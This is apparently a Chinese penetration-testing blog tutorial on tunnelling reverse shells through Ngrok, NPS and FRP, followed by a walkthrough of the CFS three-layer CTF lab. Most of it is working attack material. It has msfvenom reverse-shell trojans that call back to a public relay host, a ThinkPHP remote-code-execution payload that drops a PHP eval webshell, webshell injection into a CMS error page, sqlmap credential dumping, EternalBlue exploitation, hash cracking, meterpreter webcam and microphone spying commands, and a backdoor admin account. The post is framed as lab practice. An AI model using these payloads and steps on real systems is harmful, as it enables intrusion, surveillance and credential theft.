p70 内网安全-域横向内网漫游 Socks 代理隧道技术(NPS、FRP、CFS 三层内网漫游)
数据来源
本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
必要基础知识点:
- 内外网简单知识
- 内网 1 和内网 2 通信问题
- 正向反向协议通信连接问题
- 内网穿透代理隧道技术说明
演示案例:
- 内网穿透 Ngrok 测试演示-两个内网通讯上线
- 内网穿透 Frp 自建跳板测试-两个内网通讯上线
- CFS 三层内网漫游安全测试演练-某 CTF 线下 2019
案例 1-内网穿透 Ngrok 测试演示-两个内网通讯上线
实验环境:两个不同的内网(有网络)实现穿透控制(我这里开两台虚拟机)
1)注册-购买-填写-确认
Sunny-Ngrok内网转发内网穿透 - 国内内网映射服务器
开通成功,总共花费2元,都是实名的不要攻击别人主机,很容易就找到你
我这里先改一下代理的配置
2)下载客户端
我这里下载放到kali中
Sakura Frp | 樱花内网穿透 — 免费内网穿透_免费端口映射_高速_高防节点_不限流量_Minecraft我的世界_微信开发调试_群辉NAS_无需公网_免备案
2)启动客户端
# 启动客户端 自己的隧道id
./sunny clientid 223404400069
相当于对方访问你代理服务器上的域名,就会指向到你内网的地址192.168这边来
代理解析:首先我们刚才申请的公网域名:http:// .... .com 在公网或其他可以联网的主机上是可以访问的到的,然后我们又下载并启动了客服端,所以别人访问我们的公网域名:http:// .... .com这个连接就会被代理服务器转发到我们的客户端口也就是我们自己的内网,这样就能实现两个不同内网通信。
3)使用metasploit生成后门文件(这个软件是kali自带的其他使用:Kali最强渗透工具- metasploit_kali系统常用渗透工具_正经人_____的博客-CSDN博客)
再新建一个终端执行下面的命令
# 攻击模块 协议名
msfvenom -p windows/meterpreter/reverse_http lhost=代理服务器的域名 lport=80 -f exe -o test.exe# 参数介绍:
# lhost 代表你是谁,这里用代理的域名
# lport 要开启的监听端口
# exe 是windows格式文件,是指生成木马文件的文件格式,exe 和 dll(Windows 系列)、elf(Linux 系列)和 Mach-O(Mac系列)
# -o 是指output(输出),后面跟的demo.exe是文件名,自定义随便改
4)在kali的msfconsole里开启监听,等待受害者运行上钩
msfconsole # 启动 metasploita命令行use exploit/multi/handler # 使用模块show options # 查看设置,查看这个模块需要配置那些选项才能使用
set payload windows/meterpreter/reverse_http # 设置攻击载荷,这个攻击载荷要与上面用的一样才行
set lhost 192.168.1.3 # 设置侦听主机,kali自己的ip
set lport 4444 # 帧听端口,这里要与你代理服务器中设置的本地端口一致
exploit
5)将我们刚才生成的木马复制到虚拟机中执行,然后查看kali中的监听情况
免费的网速慢到死,一直没法反向shell,换个内网穿透软件
我这里改用腾讯云搭建nps实现内网穿透 (参考)
如果你需要购买腾讯云,可以参考我之前的的教程:(105条消息) 将 node + mysql + vue 部署到服务器_nodejs+mysql配置云服务器_正经人_____的博客-CSDN博客
我的内网穿透客户端与服务端 参考这篇文章搭建的:NPS内网穿透的搭建与演示 - 腾讯云开发者社区-腾讯云 (tencent.com)
连接腾讯云域操作腾讯云用到的软件:xfp 7与xshell 7
1) 下载NPS的服务端与客户端工具
2)下完成后把服务端的文件解压上传到腾讯云的目标下,并设置权限(随便一个目录看个人习惯)
这里设置权限有两种方法:
1、就用Xftp工具自带的功能设置
2、使用命令设置
sudo chmod 777 nps # 赋予权限,nps 是要设置的文件
3)修改配置文件:服务端配置文件
我这里就改了web管理端口,默认的8080我的被占用了
如果你要改其他的可以参考这篇端口的说明来改
最后在腾讯云开放的端口 (端口不开放会被防火墙拦截 )
下面说一下我遇到的问题域配合木马上线主机:
4)启动服务端并访问web管理页面
启动服务端
# 切换到npc的根目录下(这里你们要改成自己的存放路径)
cd /opt/内网穿透/NPS/linux_386_server# 启动nps
./nps
访问web管理页面(如果能成功访问,恭喜你服务端配置成功了)
使用用户名和密码登陆(默认admin/123,正式使用一定要更改,修改/opt/nps/conf/nps.conf
配置文件中的web_password)
5)启动客户端
先在web的管理页面创建客户端
我的客户端是安装在kali中
命令执行后出现像下面这样的就是启动成功了
6)然后就可以创建代理了 - 创建一个TCP隧道
在web管理页面创建
访问公网ip+10001端口就是相当于访问我们本地的4444,所以后面我们只需要监听本地的4444端口就能接收到木马上线的数据
7)创建木马并开启监听
生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=公网ip(腾讯云的ip) lport=10001 -f exe -o demo.exe# 注意这里使用的攻击载荷是window64位然后是TCP连接的(windows/x64/meterpreter/reverse_tcp)之前是http不要搞错了
# 10001 是刚才在服务器开启的端口,这里也要一样
# 其他参数跟我之前介绍的一样就不多说了
开启监听
进入msfconsole环境
msfconsole
使用模块
use exploit/multi/handler
设置攻击载荷(要与刚才生成木马的载荷一样)
set payload windows/x64/meterpreter/reverse_tcp
设置监听主机与端口(就是当前kali的ip,要与在服务端口设置的内网ip一样不然监听不了)
set LHOST 192.168.1.3
set LPORT 4444
最后启动模块
run
8)将刚才生成的木马文件复制到受害者主机上(我这里是win7虚拟机,注意我们刚才生成的木马是windows64位的文件,所以这里也要符合要求不然运行不了)
运行后回到kali的监听页面查看
拿到这里反向shell能干嘛我这里就不多说了,可以输入:help # 查看帮助(可以打开对方的摄像头之类的很多隐私操作,所以建议你们平时没事还是用胶布之类的东西把摄像头挡住,不然被监控了都不知道)
这个帮助信息是英文的,需要中文解释的可以看我之前写的文章:Kali最强渗透工具- metasploit_kali系统常用渗透工具_正经人_____的博客-CSDN博客
比如:
screenshare | 共享实时监视远程用户桌面 |
record_mic | 从默认麦克风录制音频X秒 |
webcam_chat | 开始视频聊天 |
webcam_list | 列出网络摄像头 |
webcam_snap | 从指定的网络摄像机拍摄快照 |
webcam_stream | 从指定的网络摄像机播放视频流(打开摄像头) |
最后不得不说便宜没好货,还是有个公网ip方便,能干很多东西比如上传网站、反向shell和很多外网攻击都要用到公网ip,能省很多钱,我要是知道公网ip也能搭建内网穿透我就不搞那个工具了,浪费我两蚊纸。。。。
案例 2-内网穿透 Frp 自建跳板测试-两个内网通讯上线(参考)
自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
Frp下载:Releases · fatedier/frp (github.com)
安装服务端(frps
)
1)将下载的文件解压上传到服务器
2)修改配置文件并启动服务端(腾讯云主机记得修改防火墙配置出入口))
修改配置文件frps.ini
[common]
# 这个默认端口是7000,就是客户端和服务端通信的,不是你转发的那个端口
# 如果这个要改了,客户端的7000也要改成和这里一样。
bind_port = 6660# 这个是frp的web管理控制台的用户名密码和登录端口
dashboard_user = admin
dashboard_pwd = aaa@Wcb123
dashboard_port = 6661# 这个token之后在客户端会用到,相当于客户端登录服务器端,毕竟这个东西不能随便给人用,自己随便输入一串字符串就行
token = wertyoqazxcvbnjhgfcvbn# 心跳连接:必须得有,frp 0.43.0版本如果不加,60秒就会自动断开连接!
# 服务器就加这一条,客户机每台都要加。
heartbeat_timeout = 30
改为配置文件后,腾讯云也要开放对应的端口
运行frpsc(这里要设置一下frps文件权限,方法跟上面一样,这里就不多说了)
./frps -c frps.ini
登录服务器web管理端
安装客户端-frpc (我这里用的文件根刚才服务端上传的文件一样,懒的分开)
1)修改配置文件frpc.ini
[common]
# 你frp服务器的公网ip地址
server_addr = 0.0.0.0
# 这里要与服务端的连接端口一样
server_port = 6660
# token与frps.ini 相同
token = wertyoqazxcvbnjhgfcvbn# 这里取名随意,一般有意义就行
[ssh]
# 穿透协议类型,可选:tcp,udp,http,https,stcp,xtcp,这个设置之前必须自行搞清楚应该是什么
type = tcp
# 你当前内网服务器的网卡IP地址,不要用127.0.0.1
local_ip = 0.0.0.0
# 转发给本机的端口
local_port = 10000
# 服务端用 6662 端口转发给本机
remote_port = 6662# 服务器与客户机之间的心跳连接:如果没有,每隔60秒就会自动断开连接!!!
heartbeat_timeout = 30
腾讯云要开放端口
2)运行frpc
./frpc -c frpc.ini
这个时候打开fpr服务端的命令行就可以确认是否成功了
3)制作木马测试是否能上线
生成后门
# lport要与frpc.ini文件的remote_port属性相同
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=公网ip lport=6662 -f exe -o frp.exe
启动监听
msfconsole # 进入msfconsole环境
use exploit/multi/handler # 使用模块
set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷要与生成木马时用的一样
set LHOST 192.168.1.3 # 设置监听ip,本机ip
set LPORT 10000 # 设置监听端口,要与frpc.ini的local_port属性相同
run # 启动模块
4)靶机运行木马(frp.exe)即可(我这里是要win7中运行)
过程:木马通过6662端口把数据传递给服务端,服务端收到后就会转发给我们的本机/客户端的10000端口,然后我们在本机监听了10000端口所以最后成功反向shell
木马运行服务端会接收并转发数据
案例 3 - CFS 三层内网漫游安全测试演练-某 CTF 线下 2019
参考:(12条消息) CFS 三层内网漫游安全测试演练_acepanhuan的博客-CSDN博客
十分感谢这位老哥,我找了很多复现文章都没有给出靶机环境的下载链接就这位老哥有。
大致思路:
攻击者kali与Target1网卡是同一网段,先通过同一网段入侵到Target1,再通过Target1上的VMnet3网卡(我这里是VM1),与Target2建立通信并入侵,然后再通过Target2上的VMnet2网卡,入侵Target3
来源 2019 某 CTF 线下赛真题内网结合 WEB 攻防题库,涉及 WEB 攻击,内网代理路由等技术,每台服务器存在一个 Flag,获取每一个 Flag 对应一个积分,获取三个 Flag 结尾。
靶机环境搭建:
下载靶场虚拟机:https://pan.baidu.com/s/1O9pgm9UZCSIdifMEb0E9ZA#list/path=%2F
提取码:qaza(这是个永久链接,只要分享者不取消)
下载完成后就可以导入虚拟机,我的第一次导入都失败重试就好了
老哥没有给出开机密码我又找了其他文章(参考)
target1和target2账号密码:root / teamssix.com
target3开机密码:teamssix.com
1)先配置一下虚拟机的网络
VM1:192.168.22.0
VM2:192.168.33.0
VM8:192.168.1.0
然后给虚拟机分配网卡
名称 | 网卡 |
kali | VM8 |
Target1 | VM8、VM1 |
Target2 | VM1、VM2 |
Target3 | VM2 |
2)检测各个虚拟机是否可以通信
kali《--------------》target1 可以ping通的原因:kali与target1都有桥接到相同的网卡VM8
target1《--------------》target2 target1与target2都是桥接到VM1
target2《--------------》target3 target2与target3都是桥接到VM2
能出现下面这种网页一般都是使用了某种网站的搭建框架,不然一般都是空白页
这里就可以得到Target1的ip是:192.168.1.75
我们这里都能访问 Target1的端口这就说明他们是可以互相通信的,所以后面就尝试:target1《--------------》target2 target2《--------------》target3
我这里使用xshell连接虚拟机执行命令(在虚拟机运行命令太麻烦)
因为我发现target1与target2都开启了ssh服务(22端口)不然我也懒得搞
这里需要注意的是如果要在真实机访问虚拟机,那你必须要开真实机开启虚拟机对应的网卡
开始连接
Target2、3虚拟机就不用连接了
测试Target1是否能与Target2通信
ping 192.168.22.129 -c4 # -c4 表示发送4个包,不写就是一直ping
Target3中尝试pingTarget2(注意这里是pingVM2网卡的ip,192.168.33,刚才是22)
ping 192.168.33.128
3)设置宝塔启动web服务(刚才我们访问Tagrget1的80端口时页面显示是找不到网站,这是因为靶机没有开启web服务,所以要设置一下)
Tagrget1
地址:http://你的Tagrget1虚拟机的IP:8888
这里提示我们要输入一条命令才能查看宝塔面板入口,那就按照提示来
/etc/init.d/bt default
Bt-Panel-URL:你的ip:8888/a768f109
username: eaj3yhsl
password: 41bb8fee
有了访问的入口与登录账号我们就登录看看
添加完成后网站的80端口就可以访问了
Target2也是同样的方法,进行入口、账号获取
不过到这里你会发现一个问题,现在只有Target1能访问Target2,但是Target1无法打开浏览器,这就打不开Target2的宝塔面板了,我不知道别人在这里是如何解决的,我这里的解决方案:在真实机开启Target2对应的网卡,这样就可以在真实机访问Target2虚拟机
Bt-Panel-URL: http://你的ip:8888/2cc52ec0
username: xdynr37d
password: 123qwe.. # 这里我用我获取到的密码:766e248d 登录不成功,真坑
访问一下Target2的80端口看看
到这里靶机环境配置完成了,下面开始攻击演练
攻击演练
1)信息收集(无论是什么攻击信息收集都是前提,这决定你是否能找到漏洞)
如果是现实情况下我们并不知道那台目标主机是可以与我们攻击机kali进行通信的,这时就可以借助工具进行扫描,我这里使用kali自带的nmap工具进行扫描
- 先收集一下ip当前攻击机可以访问的靶机ip
nmap -sP 192.168.1.0/24 # 扫描192.168.1.0整个网段的存活地址
筛选一下那个ip是我们要找的靶机虚拟机(如果是靶机肯定会开放一些端口如http的80,或远程桌面的3389之类的)
一般一个网段的开头ip或结尾ip会被设置为网关地址(1或254),但是这只是一种规范并不是绝对的
nmap 目标ip # 简单扫描啥都不写,会先扫描在线状态再扫描所有端口号
访问一下靶机的80端口看看
- 收集到了目标网段使用ThinkPHP V5搭建的
- 使用工具检测目标网站是否存在漏洞:ThinkPHP getshell工具
- 确认存在远程命令执行漏洞
也可以查看一下ip
http://192.168.1.75//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
或者你不想用工具也可以手动Getshell
编码前:
<?php @eval($_POST["cmd"]);?>
url编码后:
PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=
POC:
http://192.168.1.75/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="|base64 -d > cmd.php
2)使用远程命令执行漏洞直接給目标生成php的一句话马(因为目标网站就是php写的,所以这里生成php的木马)
# echo 这个命令无论目标是windows还是linux系统都可以用
echo '<?php @eval($_POST["pass"]);?>' > shell.php# 命令1: echo 需要添加的字符串 >>[路径\]文件名.扩展名
# 注释:>>和>都可以将命令的输出到某个文件中,若文件不存在,则同时创建该文件
# >>为追加
# >为覆盖
有了木马后我们就可以使用工具连接它 (这里推荐用蚁剑连接,我用菜刀连接不上)
中国菜刀:https://pan.baidu.com/s/1gvTQzWc3T4V4jVT7AQsbCg?pwd=wavp
中国蚁剑:
- 官网:Releases · AntSwordProject/AntSword-Loader (github.com)
- 下载:win64
- 安装参考:中国蚁剑(antSword)下载、安装
# 连接url 密码:pass (刚才生成木马时设置的)
http://192.168.1.75/shell.php
3)木马连接成功后我们就可以针对Target_1进行信息搜集(成功拿到Target_1主机的flag)
首先要明白我们现在演示的案例就是CFS比赛的线下复现,这种比赛的获胜条件就是成功夺旗(成功找到并读取flag.txt文件的内容)
所以这里我们先通过蚁剑寻找Target_1虚拟机中看是否存在flag.txt文件。
但是这个比赛的题目就是找到3份flag文件分别存放在3个虚拟机中,之前我们就通过存活ip扫描只发现一个虚拟主机(Target_1),所以其他两台主机的突破口就在这台虚拟机上,所以我们要进行信息收集。
ip a # 收集当前的主机网卡信息
这里就发现Target_1主机还有网卡ip网段是:192.168.22.0/24 但是我们现在用kali是无法与该网段通信的,这就需要借助“跳板”
4)制作“跳板”让kali虚拟机可以访问处于另一个网段的Target_2靶机
这里就用MSF生成木马制作跳板(用cs也行,CS和MSF的数据是可以进行交互的,后面的文章会详细介绍),msf是kali自带的不用自己再安装就比较方便,而且如果用CS制作木马还需要借助插件才行。(感兴趣的可以看这篇:cobaltstrike的安装与基础使用_cobalt strike windows运行_正经人_____的博客-CSDN博客)
生成linux系统木马
# 使用linux攻击模块 tcp协议的木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=1111 -f elf >text.elf# LHOST 本机ip(kali的ip)
# LPORT 要开启的监听端口(随便写,不重复就行)
开启端口监听(制作鱼钩)
msfconsole # 启动 metasploita命令行
use exploit/multi/handler # 使用模块
set payload linux/x64/meterpreter/reverse_tcp # 这个攻击载荷就是上面我们使用的攻击载荷
set LHOST 192.168.1.3 # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址
set lport 1111 # 就是要在kali上要开启的端口,注意这里的端口要和前面生成木马文件的端口一样
run # 运行模块,简单理解就是把鱼钩放到河里
将木马通过蚁剑上传到Target1,并执行
执行目标
chmod +x text.elf # 赋予text.elf文件执行权限
./text.elf # 手动执行木马
回到kali查看监听情况
5)使用代理实现内网不同网段之间的互相访问
kali是处于192.168.1.0/24网段,Target2是处于92.168.22.0/24网段,如何让kali访问22网段与Target2建立通信?
msf和cs都有代理集成功能,我们使用这些功能设置.,先添加路由。
run get_local_subnets # 获取Target1的网卡信息run autoroute -p # 查看当前路由,发现当前路由是空的
run autoroute -s 192.168.22.0/24 # 添加对22网段的路由# 会话为session1
接下来通过MSF自带的代理模块来实现Kali访问target2
建立路由后kali可以和22网段进行通信(只能在MSF上面进行通信),那么我们想要通过session1用工具去攻击22网段,这个时候该怎么办?
为了解决这种情况,我们可以在本地开一个代理(MSF自带一个代理模块),通过这个代理给其他人一个端口去连接,然后我们就可以用自己的真实机去连接kali的端口,这样就能访访问192.168.22.0/24网段了
exit 退回上一级,执行下面的命令开启代理
use auxiliary/server/socks_proxy # 使用代理模块
set srvport 2222 # 设置连接端口,随便写,不重复就行
set srvhost 0.0.0.0 # 设置可以连接的ip,0.0.0.0匹配所有ip
run # 启动模块
启动后msf会在本机kali开启一个2222端口
通过socks协议,将当前msf的会话分享到2222代理端口上
kali可以通过其他的工具去访问代理端口
配置 proxychains 代理工具(这个工具是kali自带的不用安装)
proxychains 工具可以用来调用其他的工具
vim /etc/proxychains4.conf # 打开配置文件# 现在新版本是5、kail的ip、刚才设置的代理端口
socks5 192.168.1.3 2222
配置好之后就可以开启扫描
如果使用的是socks4a的话,socks4a不支持icmp协议,所以要使用不进行ping命令的-Pn
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描 TCP 数据包已建立的连接 connect
proxychains4 nmap -Pn -sT 192.168.22.0/24 -p80 # 用代理扫描很慢proxychains4 nmap -Pn -sT 192.168.22.128 -p80 # 为了省时间我直接扫描Target2的ip地址
Nmap通过探测将端口划分为6个状态:
- open:端口是开放的
- closed:口是关闭的
- filtered:端口被防火墙IDs/IPs屏蔽,无法确定其状态
- unfiltered:第口没有屏蔽,但是否开放需要进一步确定
- open | filtered:端口是开放的或被屏蔽。
- closed | filtered:端口是关闭的或被屏蔽
一直扫描不出来
--------------------------------这代理工具搞的我心态爆炸,半天都搞不好,换个代理工具--------------------------------
使用stowaway代理(这个工具用起来贼爽,一次就成功,配置方便)(参考)
这个攻击的其他使用参考:(6条消息) Stowaway搭建多级网络代理_stowaway代理_山山而川'的博客-CSDN博客
项目地址:GitHub - ph4ntonn/Stowaway: 👻Stowaway -- Multi-hop Proxy Tool for pentesters
下载地址:Release Stowaway · ph4ntonn/Stowaway · GitHub
服务端的上传的kali中,客户端的通过蚁剑上传到Target1虚拟机,跟刚才上传木马的方法一样
先配置服务端(监听5566端口,密码123456 (可改))
sudo chmod 777 linux_x64_admin # 赋予执行权限
# kali的ip:监听端口随便写 123456是连接密码
./linux_x64_admin -l 192.168.1.3:5566 -s 123456
然后去运行客户端
chmod 777 linux_x64_agent # 赋予执行权限
# kali的ip 这里的端口和密码要与客户端一样
./linux_x64_agent -c 192.168.1.3:5566 -s 123456 --reconnect 8# --reconnect 8 当控制端掉线时客户端每隔8s重连控制端
查看服务端
客户端成功连接,在kali 6001端口开启socks代理(端口可改)
use 0 # use id 选择要使用的目标节点
socks 6001 # socks lport(外部访问端口) 启动socks5服务器
到这里我们的代理就设置成功了,我们可以在kail或真实机使用kali的ip+6001端口访问Target1了(是不是贼简单)
6)搞完代理之后我们就可以访问Target2虚拟机了,现在针对Target2进行信息收集
我们现在使用nmap扫描是扫描不了的,要给kali配置一下本地代理
vim /etc/proxychains4.conf # 打开配置文件# 现在新版本是5、kail的ip、刚才设置的代理端口
socks5 127.0.0.1 6001
proxychains4 nmap -Pn -sT 192.168.22.0/24 -p80 # 用代理扫描很慢proxychains4 nmap -Pn -sT 192.168.22.128 -p80 # 为了省时间我直接扫描Target2的ip地址
我这里扫描整个网段会漏掉很多ip,没办法只能换成单个扫描
换单个扫描
发现有80端口开启,这个端口一般都是用来部署web网站的,访问一下看看
要给浏览器使用代理我们才能正常访问Target1
我这里使用插件开启代理,我这里用的代理工具是:Proxy SwitchyOmega
下载:浏览器的扩展商店中直接下载安装(谷歌、微软的浏览器都可以)
给浏览器设置代理
使用代理并刷新网页,成功访问八哥CMS
但是我们看这个网站没有任何提示,CFS的比赛一般都是有提示的,没有明显的提示我们就查看网站源代码
7)对目标网站进行SQL注入
按照提示访问:/index.php?r=vul&keyword=1
提示给出的url可以访问,使用sqlmap工具扫描看看 (这个工具也是kali自带的)
一、检测是否存在SQL注入漏洞
# 测试目标url是否存在sql注入 可能存在sql注入的url地址
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1"# 注意这里也要使用 proxychains4 代理来运行工具,不然访问不了,有提示选择我都选 “Y”
第二步:获取数据库名
在第一步检测的的命令后面加上:--dbs # database server获取所有数据库名
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --dbs
第三步:获取指定数据库表
在第一步检测的的命令后面加上: -D 数据库名称 --tables # -D(Database)指定想要获取的数据库名,--tables 枚举(遍历)DBMS数据库中的表
我先获取第一个数据库的看看:bagecms
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms --tables
第四步:获取指定数据库列/表项
在第一步检测的的命令后面加上:-D 数据库名 -T 数据库的表名 --columns # --columns 列出表项/例
数据表先看这个:bage_admin (毕竟admin是管理员英文的缩写)
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin --columns
这一步很奇怪,之前一直打印不出数据表的列名,然后我也忘记我改了哪里突然就可以了,后面再试也是没问题,视频中的是手动注入我也没法参考,如果你们也遇到我刚才的问题只能靠你们自己排查了,需要注意的是我这里的代理工具的服务端有时会自己退出,然后进行sql扫描就报错,如果你们也就到sql工具无法扫描就可以检查一下代理看看
第五步:获取数据
把第四步命令后面的--columns换成:--dump # 读取数据
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin --dump
这里就得到了账号信息:
用户名:admin
密码:46f94c8de14fb36680850768ff1b7f2a (123qwe)
有账号信息这就说明这个网站肯定有个登录页面,但是我们现在不知道登录页面的URL是啥,这就说明我们的信息收集还不够,之前我们已经收集了目标网站的ip端口信息,现在我们收集一下目标主机的文件目录信息,看目标的文件目录的文件中是否存放我们需要的信息,这就进入下一步骤,信息收集之文件目录收集
8)信息收集之文件目录收集
我这里使用kali自带的扫描工具dirb进行扫描,就简单的介绍工具的使用如果需要更深层次的使用自己点这个超链接查看(参考)
这里一样使用 proxychains4 代理运行工具, 不然我们访问不了Target2的ip
# 使用默认字典进行扫描
proxychains4 dirb http://192.168.22.129# 或者将扫描结果存放在指定的文件中方便查看,-o 指定结果生成的目录
proxychains4 dirb http://192.168.22.129 -o /home/kali/桌面/output.txt# 不进递归扫描,默认就是递归这样会扫描所有文件包括子文件(我这里为了省时间就取消),-r 取消递归
proxychains4 dirb http://192.168.22.129 -o /home/kali/桌面/output.txt -r
ctf中敏感文件泄露的题型主要有以下几种(原文)
- robots.txt
robots.txt放置在一个站点的根目录下,而且文件名必须全部小写,是搜索引擎中访问网站的时候要查看的第一个文件,记录一些目录和CMS版本信息。ctf中可以在直接访问*/robots.txt来获取文本信息。
- vim备份文件
当用户在Linux编辑器编辑文件但意外退出时会在当前目录下生成一个备份文件,文件名格式为:文件名.swp,意外退出更多次后缀可以为.swo .swn……ctf中访问*/.index.php.swp可以下载
- gedit备份文件
在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“~”的文件,其文件内容就是刚编辑的内容。格式一般是文件名加后缀,例如:index.php~ ,ctf中也是直接访问*/文件名~
- readme.md
记录CMS版本信息,有的甚至有Github地址。ctf中直接访问*/readme.md
www/wwwdata/wwwroot/web/webroot/ & .zip/rar/tar.gz/7z/tar
往往是网站的源码备份。ctf中访问后可以下载本地查看
这里发现了robots.txt文件这个是CTF比赛的敏感文件,我们访问他看看
访问 /admini/ 404
访问 /index.php?r=admini 成功来到后台登录页面(这种pc的系统一般都是后台管理系统,所以他的登录页面也叫后台登录页)
进来后成功拿到Target2靶机的Flag
现在就剩下最后一个靶机-Target3
9)先看看这个管理页面有没有什么提示或什么漏洞可以被我们利用的
<?php @eval($_POST["pass"]);?>
随便找个文件夹下的文件编辑都可以
尝试先访问一下文件
解决方案:先观察一下网站的路由是如何切换的,也就是网站网页的切换
使用: http://192.168.22.129/index.php?r=question/index.php 访问看看
改一下路由不加index.php
先用蚁剑连接木马看看,后面再讲另一种比较稳妥的方式
这里要用蚁剑连接木马也要设置一下代理
连接木马看看
讲一下更稳妥的访问木马方式,还记得刚才我们访问失败跳出来的404报错页面?这个页面只要是正规一点的网站都会有,而且规则都是一样的当路由匹配不上,也就是找不都你要访问的页面就会自动转到这个404页面,所以我们可以将木马加入到这里404页面中,然后我们随便访问一个页面都能连接上木马。
10)跟之前攻击Target2靶机一样上传Stowaway代理工具让我们的攻击机(kali)可以访问Target3靶机,然后再次进行信息收集为后面的攻击做铺垫
上一步我们检测出Target2靶机也是有两个网卡,一个是192.168.22.0/24这个我们已经给Target1靶机设置过代理,kali中通过Target1做为跳板就可以访问Target2靶机,另一个192.168.33.0/24我们是访问不了的,所以也要跟之前一样给Target2设置代理,kali中再通过Target2靶机当做跳板访问92.168.33.0/24网段。
设置Target2靶机的代理
这里只需要上传一个客户端程序到Target2靶机中就可以了,我们把kali当做服务端之前已经上传过一个代理服务端程序,一个服务端可以对接多个客户端
在之前的代理保持不变的情况下,进行中操作在Target1靶机上开启一个监听,监听10000端口(端口可改
# 开启端口监听
listen
回到蚁剑的Target2靶机上连接Target1(连接与自己相同网卡的Target1靶机ip,不是连接kali)
./linux_x64_agent -c 192.168.22.132:10000 -s 123456 --reconnect 8# 192.168.22.132 是Target1靶机的ip,也就是说Target2连接Target1靶机
回到kali的服务端输入命令查看连接情况
back # back 返回父面板 (这个命令后面要加个空格才行)
detail # 显示连接节点的详细信息
客户端成功连接,在kali 6002端口开启socks代理(端口可改)
use 1 # use id 选择要使用的目标节点,进入目标的管理页面
socks 6002 # socks lport(外部访问端口) 启动socks5服务器
我画一张图给你们好理解一点
然后要改一下配置文件
vim /etc/proxychains4.confsocks5 127.0.0.1 6002
11)针对Target3虚拟机进行信息收集
proxychains4 nmap -Pn -sT 192.168.33.0/24 # 扫描33整个网段(数据慢)proxychains4 nmap -Pn -sT 192.168.33.33 # 直接扫描Target3靶机的ip(速度快)
发现目标开放了445端口,猜测存在永恒之蓝漏洞
12)尝试攻击
使用metasploit进行攻击(kali自带的工具,这篇文章字数太多了,编译起来很卡,下面的攻击我就不写的太详细了,不理解的可以参考我之前写的文章:(8条消息) Kali最强渗透工具- metasploit_kali系统常用渗透工具_正经人_____的博客-CSDN博客)
proxychains4 msfconsole # 启动 metasploita命令行【命令行效率高,使用方便】(这里也要使用proxychains4代理运行工具,不然你都访问不了Target3虚拟机的ip)# msf使用法则:使用模块 -> 配置模块必选项 -> 运行模块。 三步操作,就能实现对主流漏洞的攻击 use exploit/windows/smb/ms17_010_eternalblue # 使用永恒之蓝漏洞攻击模块set rhost 192.168.33.33 # 设置目标IP地址(你要攻击的目标)set payload windows/x64/meterpreter/bind_tcp # payload 是攻击载荷set LHOST 192.168.1.3 # LHOSTS为 listen host (侦听主机)代表你是谁,既kali的IP地址默认就是kali自己的IP地址,如果你的不是那就可以修改set lport 3698 # 将端口设置为10001,代表你要在kali上开启的端口,1-65535随便选,但不能被占用,默认的端口是:4444,为了攻击的成功率可以改一下run # 运行模块开启攻击
我这里攻击失败了,我给kali加一块Target3的网卡就能攻击成功。。。。。。
解决:使用正向连接,因为Target3并不能返回shell,我们要主动连接他
方案一:(参考)
use auxiliary/admin/smb/ms17_010_command
set command whoami
set rhost 192.168.33.33
exploit
解决方案二 -- 推荐:(参考)
注意:我们的代理有点不稳定,第一次攻击不成功就多试几次(第二次之后攻击就是执行run就好了)
proxychains4 msfconsole
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run
# 设置正向连接
执行shell命令速度真要命
我这里一直进入不去shell,没办法只能换一种方式,暴力破解hash值
hashdump # 获取SAM数据库的内容(密码的哈希值)
我这里使用saminside工具进暴力破解
把你认为可能是密码的字符串,使用密码字典生成工具生成复制粘贴到下图软件中的密码本文件中(密码本文件是运行程序才会自动生成)
密码本的格式
要破解的hash值的格式
这里获取到了目标的账号信息:Administrator\teamssix.com(如果能进入shell页面我们就直接新建一个管理员账户就行了,不用暴力破解)
因为之前对Target3进行信息收集时发现他开启了3389端口(远程桌面服务)我们现在有了账户密码,就尝试连接试试
kali中连接
# 这里一样要使用代理不然访问不到
proxychains4 rdesktop 192.168.33.33:3389
至此靶场打穿,三个flag拿到
总结:这是我花的时间最长的一篇文章,太多坑了,参考很多文章,很多演示都省略了一些步骤,就是这些步骤把我坑惨,4月28号写到现在5月4号凌晨3:14分才搞定真不容易6天时间五一假期都没了,这个内网学起来还是挺不错的,主要就学个攻击思路为以后的学习打下夯实的基础,一起加油,陌生人!
补充知识点:如果能进入shell页面我们能对这个靶机做的操作
如果页面显示乱码,解决:chcp 65001 # 修改编码
1、搜索flag文件 (参考)
shell # 进入系统命令shell
cd / # 进入根目录,原来是system32目录
搜索:dir /S *flag* /B #(/B 显示文件夹或文件的名字;/S 显示指定目录和所有子目录中的文件,这是是搜索所有文件夹中包含flag关键字的文件名)
dir /S /B *flag* # 这样写也可以(这里放在桌面)
type C:\Users\Administrator\Desktop\flag.txt # 获取flag
2、生成后门用户
例:创建后门用户并开启远程连接(3389)
shell # 启动dos窗口,这样就能使用DOS 命令
chcp 65001 # 默认情况下编码为936,中文会出现乱码问题,65001为UTF-8的代码页,可以正常显示中文
net user zhangsan 123456 /add & net localgroup administrators zhangsan /add
或分开执行
